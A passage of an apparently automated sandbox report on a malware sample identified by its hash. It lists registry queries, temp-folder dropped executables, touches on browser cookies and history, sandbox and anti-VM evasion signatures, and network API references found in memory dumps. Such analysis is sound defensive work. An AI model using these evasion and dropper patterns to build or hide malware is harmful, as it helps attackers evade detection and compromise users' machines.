"HELPTOPIC"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE\INITPROPERTYBAG"; Key: "RECURSIVESEARCH"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE\INITPROPERTYBAG"; Key: "TARGETKNOWNFOLDER"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\KINDMAP"; Key: ".EXE"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.EXE"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: "ISSHORTCUT"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: "NOSTATICDEFAULTVERB"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL"; Key: ""; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN"; Key: "NEVERDEFAULT"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND"; Key: "DELEGATEEXECUTE"; Value: "")58:T6f7,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\users\%osuser%\appdata\local\temp\installsetup9.exe" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\users\%osuser%\appdata\local\temp\toolspub1.exe" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\users\%osuser%\appdata\local\temp\31839b57a4f11171d6abc8bbc4451ee4.exe" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\windows\microsoft.net\assembly\gac_msil\system\v4.0_4.0.0.0__b77a5c561934e089\system.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "c:\84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" "InstallSetup9.exe" reads file "c:\users\%osuser%\appdata\local\temp\installsetup9.exe"59:T4b1,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Contains a Wine emulator-related string Matched sigs: Able to identify sandbox environment running process Matched sigs: Able to identify virtual/sandbox environment Matched sigs: Reference to an external IP address lookup service identified Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Contains ability to detect sandbox (imports API) Matched sigs: The input sample contains the RDTSCP instruction Matched sigs: The input sample contains a known anti-VM trick Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Contains ability to delay the execution of current thread5a:Tcfc,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\FLTLIB.DLL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\MSVCP140.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\MSVCP140.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\VCRUNTIME140.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\VCRUNTIME140.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\ucrtbase.DLL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\ucrtbase.DLL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\api-ms-win-core-timezone-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-timezone-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\api-ms-win-core-file-l2-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-file-l2-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\api-ms-win-core-localization-l1-2-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\api-ms-win-core-synch-l1-2-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\api-ms-win-core-file-l1-2-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-file-l1-2-0.dll"5b:T560,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "InstallSetup9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "InstallSetup9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "InstallSetup9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "InstallSetup9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "InstallSetup9.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "InstallSetup9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "BroomSetup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "BroomSetup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"5c:Tcf7,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\FLTLIB.DLL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\MSVCP140.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\ucrtbase.DLL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-string-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-stdio-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-convert-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-locale-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-filesystem-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-time-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-environment-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-math-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\api-ms-win-crt-utility-l1-1-0.dll" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL"5d:Tc47,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe.config" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\workforroc\" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.INI" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe.Local\" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe:Zone.Identifier" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub1.exe:Zone.Identifier" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe:Zone.Identifier" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\rty25.exe:Zone.Identifier" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.PDB" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\84D011E18CEC6190E2C79B270E9D2D575BFAA63998F50D13D3F9DA147F49B799.EXE.CONFIG" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\WORKFORROC" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\84D011E18CEC6190E2C79B270E9D2D575BFAA63998F50D13D3F9DA147F49B799.INI" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" trying to access non-existent file "C:\84D011E18CEC6190E2C79B270E9D2D575BFAA63998F50D13D3F9DA147F49B799.EXE.LOCAL"5e:T1475,Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "HttpSendRequestExW" (Indicator: "HttpSendRequest"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00002512-00000C2C-268712289") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found reference to API "HttpSendRequestExW" (Indicator: "HttpSendRequest"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "8171020,3420,3232,,HttpOpenRequestW,Wininet.dll,"253:36:43.382",RX=0,PX=0" (Indicator: "HttpOpenRequest"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found reference to API "s_session.m_hHandle = ::WinHttpOpen( strwUserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)" (Indicator: "WinHttpOpen"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "hConnection = ::WinHttpConnect( m_hHandle, pszServer, nPort, NULL)" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::AutoDetectProxies" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "hHttpSession = ::WinHttpOpen( strwUserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)" (Indicator: "WinHttpOpen"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::DetectProxies" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::Reset" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::AsyncDetectProxies" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::DetectProxies(m_ServerName, &m_proxyInfo)" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp")5f:T12bd,Found reference to API "s_session.m_hHandle = ::WinHttpOpen( strwUserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)" (Indicator: "WinHttpOpen"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "WinHttpCrackUrl(pszUri, 0, 0, &urlComps)" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "hConnection = ::WinHttpConnect( m_hHandle, pszServer, nPort, NULL)" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::AutoDetectProxies" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "hHttpSession = ::WinHttpOpen( strwUserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)" (Indicator: "WinHttpOpen"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::DetectProxies" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::Reset" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::AsyncDetectProxies" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::DetectProxies(m_ServerName, &m_proxyInfo)" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::AsyncDetectProxiesCallback" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::DoProxyFailover" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::SendRequest" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CWinHttpConnection::CreateRequest" (Indicator: "WinHttpConnect"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "::WinHttpAddRequestHeaders(m_hHandle, header, header.length(), 0x20000000)" (Indicator: "WinHttpAddRequestHeaders"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "::WinHttpWriteData(m_hHandle, pbChunk, cbChunk, 0)" (Indicator: "WinHttpWriteData"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "((WINHTTP_STATUS_CALLBACK)(-1L)) != ::WinHttpSetStatusCallback(m_hHandle, (WINHTTP_STATUS_CALLBACK)CWinHttpRequest::HttpStatusCallback, dwNotificationFlags, 0) ? 1 : 0" (Indicator: "WinHttpSetStatusCallback"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "WinHttpSetOption( m_hHandle, 38, pProxyInfo, sizeof(WINHTTP_PROXY_INFO) )" (Indicator: "WinHttpSetOption"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "WinHttpSetOption( m_hHandle, 63, &optionBuffer, sizeof(optionBuffer) )" (Indicator: "WinHttpSetOption"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "WinHttpSetTimeouts(m_hHandle, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF)" (Indicator: "WinHttpSetTimeouts"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "::WinHttpSendRequest(m_hHandle, 0, 0, 0, 0, m_cbTotalBodyLength, (DWORD_PTR)this)" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "WinHttpQueryHeaders( m_hHandle, 22, 0, (LPVOID)lpOutBuffer, &dwSize, 0)" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "::WinHttpQueryHeaders( m_hHandle, 19 | 0x20000000, 0, &m_httpStatus, &cbStatusCode, 0)" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "::WinHttpQueryDataAvailable(m_hHandle, 0)" (Indicator: "WinHttpQueryDataAvailable"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "::WinHttpReadData(m_hHandle, (LPVOID)pNextBuffer, cbBytesAvailable, nullptr)" (Indicator: "WinHttpReadData"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "::WinHttpReceiveResponse(m_hHandle, 0)" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp")60:T773,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00002512-00000C2C-268712289") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00000640.00000000.80239.00260000.00000004.mdmp, 00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00000640.00000000.80239.00260000.00000004.mdmp, 00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00000640.00000000.80239.016D0000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00002512.00000000.80882.011C0000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00002856.00000000.80757.00780000.00000002.mdmp, 00000000-00002856.00000001.82683.00780000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00003348.00000000.82319.011E0000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00004500.00000000.81045.00C60000.00000002.mdmp, 